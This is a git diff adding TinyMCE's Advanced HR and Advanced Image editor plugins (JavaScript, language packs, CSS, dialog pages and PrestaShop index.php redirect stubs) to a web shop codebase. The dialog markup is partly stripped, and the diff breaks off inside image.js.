+(function(){tinymce.create("tinymce.plugins.AdvancedHRPlugin",{init:function(a,b){a.addCommand("mceAdvancedHr",function(){a.windowManager.open({file:b+"/rule.htm",width:250+parseInt(a.getLang("advhr.delta_width",0)),height:160+parseInt(a.getLang("advhr.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("advhr",{title:"advhr.advhr_desc",cmd:"mceAdvancedHr"});a.onNodeChange.add(function(d,c,e){c.setActive("advhr",e.nodeName=="HR")});a.onClick.add(function(c,d){d=d.target;if(d.nodeName==="HR"){c.selection.select(d)}})},getInfo:function(){return{longname:"Advanced HR",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advhr",tinymce.plugins.AdvancedHRPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/editor_plugin_src.js b/js/tiny_mce/plugins/advhr/editor_plugin_src.js new file mode 100755 index 0000000..5a4b725 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/editor_plugin_src.js @@ -0,0 +1,57 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AdvancedHRPlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceAdvancedHr', function() { + ed.windowManager.open({ + file : url + '/rule.htm', + width : 250 + parseInt(ed.getLang('advhr.delta_width', 0)), + height : 160 + parseInt(ed.getLang('advhr.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('advhr', { + title : 'advhr.advhr_desc', + cmd : 'mceAdvancedHr' + }); + + ed.onNodeChange.add(function(ed, cm, n) { + cm.setActive('advhr', n.nodeName == 'HR'); + }); + + ed.onClick.add(function(ed, e) { + e = e.target; + + if (e.nodeName === 'HR') + ed.selection.select(e); + }); + }, + + getInfo : function() { + return { + longname : 'Advanced HR', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advhr', tinymce.plugins.AdvancedHRPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/index.php b/js/tiny_mce/plugins/advhr/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advhr/js/index.php b/js/tiny_mce/plugins/advhr/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advhr/js/rule.js b/js/tiny_mce/plugins/advhr/js/rule.js new file mode 100755 index 0000000..a60c35f --- /dev/null +++ b/js/tiny_mce/plugins/advhr/js/rule.js @@ -0,0 +1,43 @@ +var AdvHRDialog = { + init : function(ed) { + var dom = ed.dom, f = document.forms[0], n = ed.selection.getNode(), w; + + w = dom.getAttrib(n, 'width'); + f.width.value = w ? parseInt(w) : (dom.getStyle('width') || ''); + f.size.value = dom.getAttrib(n, 'size') || parseInt(dom.getStyle('height')) || ''; + f.noshade.checked = !!dom.getAttrib(n, 'noshade') || !!dom.getStyle('border-width'); + selectByValue(f, 'width2', w.indexOf('%') != -1 ? '%' : 'px'); + }, + + update : function() { + var ed = tinyMCEPopup.editor, h, f = document.forms[0], st = ''; + + h = ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advhr/langs/it_dlg.js b/js/tiny_mce/plugins/advhr/langs/it_dlg.js new file mode 100755 index 0000000..db51334 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advhr_dlg',{size:"Altezza",noshade:"Senza ombreggiatura",width:"Larghezza",normal:"Normale",widthunits:"Unit\u00e0"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/ja_dlg.js b/js/tiny_mce/plugins/advhr/langs/ja_dlg.js new file mode 100755 index 0000000..70adc8b --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advhr_dlg',{size:"\u9ad8\u3055",noshade:"\u5f71\u306a\u3057",width:"\u5e45",normal:"\u901a\u5e38",widthunits:"\u5358\u4f4d"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/ka_dlg.js b/js/tiny_mce/plugins/advhr/langs/ka_dlg.js new file mode 100755 index 0000000..ddd77a6 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advhr_dlg',{size:"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",noshade:"\u10e9\u10e0\u10d3\u10d8\u10da\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",width:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/ko_dlg.js b/js/tiny_mce/plugins/advhr/langs/ko_dlg.js new file mode 100755 index 0000000..24f747d --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advhr_dlg',{size:"\ub192\uc774",noshade:"\uadf8\ub9bc\uc790\uc5c6\uc74c",width:"\ud3ed",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/lt_dlg.js b/js/tiny_mce/plugins/advhr/langs/lt_dlg.js new file mode 100755 index 0000000..07294cb --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advhr_dlg',{size:"Auk\u0161tis",noshade:"Be \u0161e\u0161\u0117lio",width:"Ilgis",normal:"Normalus",widthunits:"Vienetai"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/nl_dlg.js b/js/tiny_mce/plugins/advhr/langs/nl_dlg.js new file mode 100755 index 0000000..d3ab5ac --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advhr_dlg',{size:"Hoogte",noshade:"Geen schaduw",width:"Breedte",normal:"Normaal",widthunits:"Eenheden"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/no_dlg.js b/js/tiny_mce/plugins/advhr/langs/no_dlg.js new file mode 100755 index 0000000..3ca75ee --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advhr_dlg',{size:"H\u00f8yde",noshade:"Ingen skygge",width:"Bredde",normal:"Normal",widthunits:"Enheter"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/pl_dlg.js b/js/tiny_mce/plugins/advhr/langs/pl_dlg.js new file mode 100755 index 0000000..f4e5138 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advhr_dlg',{size:"Wysoko\u015b\u0107",noshade:"Bez cienia",width:"Szeroko\u015b\u0107",normal:"Normalny",widthunits:"Jednostki"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/pt_dlg.js b/js/tiny_mce/plugins/advhr/langs/pt_dlg.js new file mode 100755 index 0000000..5310220 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advhr_dlg',{size:"Altura",noshade:"Sem sombra",width:"Largura",normal:"Normal",widthunits:"Unids"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/ro_dlg.js b/js/tiny_mce/plugins/advhr/langs/ro_dlg.js new file mode 100755 index 0000000..d501da3 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advhr_dlg',{size:"\u00cen\u0103l\u021bime",noshade:"F\u0103r\u0103 umbre",width:"L\u0103\u021bime",normal:"Normal",widthunits:"Unit\u0103\u021bi"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/ru_dlg.js b/js/tiny_mce/plugins/advhr/langs/ru_dlg.js new file mode 100755 index 0000000..553f03f --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advhr_dlg',{size:"\u0412\u044b\u0441\u043e\u0442\u0430",noshade:"\u0411\u0435\u0437 \u0442\u0435\u043d\u0438",width:"\u0428\u0438\u0440\u0438\u043d\u0430",normal:"\u041e\u0431\u044b\u0447\u043d\u0430\u044f",widthunits:"\u0415\u0434\u0438\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/sk_dlg.js b/js/tiny_mce/plugins/advhr/langs/sk_dlg.js new file mode 100755 index 0000000..60ae5bc --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advhr_dlg',{size:"V\u00fd\u0161ka",noshade:"Bez tie\u0148a",width:"\u0160\u00edrka",normal:"Norm\u00e1lne",widthunits:"Jednotky"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/sl_dlg.js b/js/tiny_mce/plugins/advhr/langs/sl_dlg.js new file mode 100755 index 0000000..23ca296 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advhr_dlg',{size:"Vi\u0161ina",noshade:"Brez sen\u010denja",width:"\u0160irina",normal:"Obi\u010dajno",widthunits:"Enote"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/sv_dlg.js b/js/tiny_mce/plugins/advhr/langs/sv_dlg.js new file mode 100755 index 0000000..f2601e3 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advhr_dlg',{size:"H\u00f6jd",noshade:"Ingen skugga",width:"Bredd",normal:"Normal",widthunits:"Enheter"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/th_dlg.js b/js/tiny_mce/plugins/advhr/langs/th_dlg.js new file mode 100755 index 0000000..93e932c --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advhr_dlg',{size:"\u0e2a\u0e39\u0e07",noshade:"\u0e44\u0e21\u0e48\u0e21\u0e35\u0e40\u0e07\u0e32",width:"\u0e01\u0e27\u0e49\u0e32\u0e07",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/tr_dlg.js b/js/tiny_mce/plugins/advhr/langs/tr_dlg.js new file mode 100755 index 0000000..fb999eb --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advhr_dlg',{size:"Y\u00fckseklik",noshade:"G\u00f6lge yok",width:"Geni\u015flik",normal:"Normal",widthunits:"Birimler"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/tw_dlg.js b/js/tiny_mce/plugins/advhr/langs/tw_dlg.js new file mode 100755 index 0000000..33c8067 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advhr_dlg',{size:"\u9ad8\u5ea6",noshade:"\u7121\u9670\u5f71",width:"\u5bec\u5ea6",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/uk_dlg.js b/js/tiny_mce/plugins/advhr/langs/uk_dlg.js new file mode 100755 index 0000000..296ccb6 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advhr_dlg',{size:"\u0412\u0438\u0441\u043e\u0442\u0430",noshade:"\u0411\u0435\u0437 \u0442\u0456\u043d\u0456",width:"\u0428\u0438\u0440\u0438\u043d\u0430",normal:"\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0438\u0439",widthunits:"\u041e\u0434\u0438\u043d\u0438\u0446\u0456 \u0432\u0438\u043c\u0456\u0440\u0443"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/vi_dlg.js b/js/tiny_mce/plugins/advhr/langs/vi_dlg.js new file mode 100755 index 0000000..b1d5525 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advhr_dlg',{size:"Chi\u1ec1u r\u1ed9ng",noshade:"Kh\u00f4ng c\u00f3 b\u00f3ng",width:"Chi\u1ec1u d\u00e0i",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/advhr/langs/zh-cn_dlg.js new file mode 100755 index 0000000..c891216 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advhr_dlg',{size:"\u9ad8\u5ea6",noshade:"\u65e0\u9634\u5f71",width:"\u5bbd\u5ea6",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/advhr/langs/zh-tw_dlg.js new file mode 100755 index 0000000..33bfb60 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advhr_dlg',{size:"\u9ad8",noshade:"\u7121\u9670\u5f71\u6548\u679c",width:"\u5bec",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advhr/rule.htm b/js/tiny_mce/plugins/advhr/rule.htm new file mode 100755 index 0000000..11d3651 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/rule.htm @@ -0,0 +1,58 @@ + + + + {#advhr.advhr_desc} + + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + +
    + + + +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/advimage/css/advimage.css b/js/tiny_mce/plugins/advimage/css/advimage.css new file mode 100755 index 0000000..228530f --- /dev/null +++ b/js/tiny_mce/plugins/advimage/css/advimage.css @@ -0,0 +1,13 @@ +#src_list, #over_list, #out_list {width:280px;} +.mceActionPanel {margin-top:7px;} +.alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} +.checkbox {border:0;} +.panel_wrapper div.current {height:305px;} +#prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} +#align, #classlist {width:150px;} +#width, #height {vertical-align:middle; width:50px; text-align:center;} +#vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} +#class_list {width:180px;} +input {width: 280px;} +#constrain, #onmousemovecheck {width:auto;} +#id, #dir, #lang, #usemap, #longdesc {width:200px;} diff --git a/js/tiny_mce/plugins/advimage/css/index.php b/js/tiny_mce/plugins/advimage/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advimage/editor_plugin.js b/js/tiny_mce/plugins/advimage/editor_plugin.js new file mode 100755 index 0000000..d613a61 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AdvancedImagePlugin",{init:function(a,b){a.addCommand("mceAdvImage",function(){if(a.dom.getAttrib(a.selection.getNode(),"class","").indexOf("mceItem")!=-1){return}a.windowManager.open({file:b+"/image.htm",width:480+parseInt(a.getLang("advimage.delta_width",0)),height:385+parseInt(a.getLang("advimage.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("image",{title:"advimage.image_desc",cmd:"mceAdvImage"})},getInfo:function(){return{longname:"Advanced image",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advimage",tinymce.plugins.AdvancedImagePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/editor_plugin_src.js b/js/tiny_mce/plugins/advimage/editor_plugin_src.js new file mode 100755 index 0000000..76df89a --- /dev/null +++ b/js/tiny_mce/plugins/advimage/editor_plugin_src.js @@ -0,0 +1,50 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AdvancedImagePlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceAdvImage', function() { + // Internal image object like a flash placeholder + if (ed.dom.getAttrib(ed.selection.getNode(), 'class', '').indexOf('mceItem') != -1) + return; + + ed.windowManager.open({ + file : url + '/image.htm', + width : 480 + parseInt(ed.getLang('advimage.delta_width', 0)), + height : 385 + parseInt(ed.getLang('advimage.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('image', { + title : 'advimage.image_desc', + cmd : 'mceAdvImage' + }); + }, + + getInfo : function() { + return { + longname : 'Advanced image', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advimage', tinymce.plugins.AdvancedImagePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/image.htm b/js/tiny_mce/plugins/advimage/image.htm new file mode 100755 index 0000000..835d388 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/image.htm @@ -0,0 +1,235 @@ + + + + {#advimage_dlg.dialog_title} + + + + + + + + + + +
    + + +
    +
    +
    + {#advimage_dlg.general} + + + + + + + + + + + + + + + + + + + +
    + +
    + {#advimage_dlg.preview} + +
    +
    + +
    +
    + {#advimage_dlg.tab_appearance} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + {#advimage_dlg.example_img} + Lorem ipsum, Dolor sit amet, consectetuer adipiscing loreum ipsum edipiscing elit, sed diam + nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.Loreum ipsum + edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam + erat volutpat. +
    +
    + + x + + px +
      + + + + +
    +
    +
    +
    + +
    +
    + {#advimage_dlg.swap_image} + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    + + + + +
     
    +
    + +
    + {#advimage_dlg.misc} + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + +
    + + + + +
     
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/advimage/img/index.php b/js/tiny_mce/plugins/advimage/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advimage/img/sample.gif b/js/tiny_mce/plugins/advimage/img/sample.gif new file mode 100755 index 0000000..53bf689 Binary files /dev/null and b/js/tiny_mce/plugins/advimage/img/sample.gif differ diff --git a/js/tiny_mce/plugins/advimage/index.php b/js/tiny_mce/plugins/advimage/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advimage/js/image.js b/js/tiny_mce/plugins/advimage/js/image.js new file mode 100755 index 0000000..7e3cf00 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/js/image.js @@ -0,0 +1,462 @@ +var ImageDialog = { + preInit : function() { + var url; + + tinyMCEPopup.requireLangPack(); + + if (url = tinyMCEPopup.getParam("external_image_list_url")) + document.write(''); + }, + + init : function(ed) { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(), fl = tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList'); + + tinyMCEPopup.resizeToInnerSize(); + this.fillClassList('class_list'); + this.fillFileList('src_list', fl); + this.fillFileList('over_list', fl); + this.fillFileList('out_list', fl); + TinyMCE_EditableSelects.init(); + + if (n.nodeName == 'IMG') { + nl.src.value = dom.getAttrib(n, 'src'); + nl.width.value = dom.getAttrib(n, 'width'); + nl.height.value = dom.getAttrib(n, 'height'); + nl.alt.value = dom.getAttrib(n, 'alt'); + nl.title.value = dom.getAttrib(n, 'title'); + nl.vspace.value = this.getAttrib(n, 'vspace'); + nl.hspace.value = this.getAttrib(n, 'hspace'); + nl.border.value = this.getAttrib(n, 'border'); + selectByValue(f, 'align', this.getAttrib(n, 'align')); + selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); + nl.style.value = dom.getAttrib(n, 'style'); + nl.id.value = dom.getAttrib(n, 'id'); + nl.dir.value = dom.getAttrib(n, 'dir'); + nl.lang.value = dom.getAttrib(n, 'lang'); + nl.usemap.value = dom.getAttrib(n, 'usemap'); + nl.longdesc.value = dom.getAttrib(n, 'longdesc'); + nl.insert.value = ed.getLang('update'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) + nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) + nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (ed.settings.inline_styles) { + // Move attribs to styles + if (dom.getAttrib(n, 'align')) + this.updateStyle('align'); + + if (dom.getAttrib(n, 'hspace')) + this.updateStyle('hspace'); + + if (dom.getAttrib(n, 'border')) + this.updateStyle('border'); + + if (dom.getAttrib(n, 'vspace')) + this.updateStyle('vspace'); + } + } + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); + if (isVisible('overbrowser')) + document.getElementById('onmouseoversrc').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); + if (isVisible('outbrowser')) + document.getElementById('onmouseoutsrc').style.width = '260px'; + + // If option enabled default contrain proportions to checked + if (ed.getParam("advimage_constrain_proportions", true)) + f.constrain.checked = true; + + // Check swap image if valid data + if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) + this.setSwapImage(true); + else + this.setSwapImage(false); + + this.changeAppearance(); + this.showPreviewImage(nl.src.value, 1); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { + if (!f.alt.value) { + tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { + if (s) + t.insertAndClose(); + }); + + return; + } + } + + t.insertAndClose(); + }, + + insertAndClose : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + // Fixes crash in Safari + if (tinymce.isWebKit) + ed.getWin().focus(); + + if (!ed.settings.inline_styles) { + args = { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }; + } else { + // Remove deprecated values + args = { + vspace : '', + hspace : '', + border : '', + align : '' + }; + } + + tinymce.extend(args, { + src : nl.src.value.replace(/ /g, '%20'), + width : nl.width.value, + height : nl.height.value, + alt : nl.alt.value, + title : nl.title.value, + 'class' : getSelectValue(f, 'class_list'), + style : nl.style.value, + id : nl.id.value, + dir : nl.dir.value, + lang : nl.lang.value, + usemap : nl.usemap.value, + longdesc : nl.longdesc.value + }); + + args.onmouseover = args.onmouseout = ''; + + if (f.onmousemovecheck.checked) { + if (nl.onmouseoversrc.value) + args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; + + if (nl.onmouseoutsrc.value) + args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; + } + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if 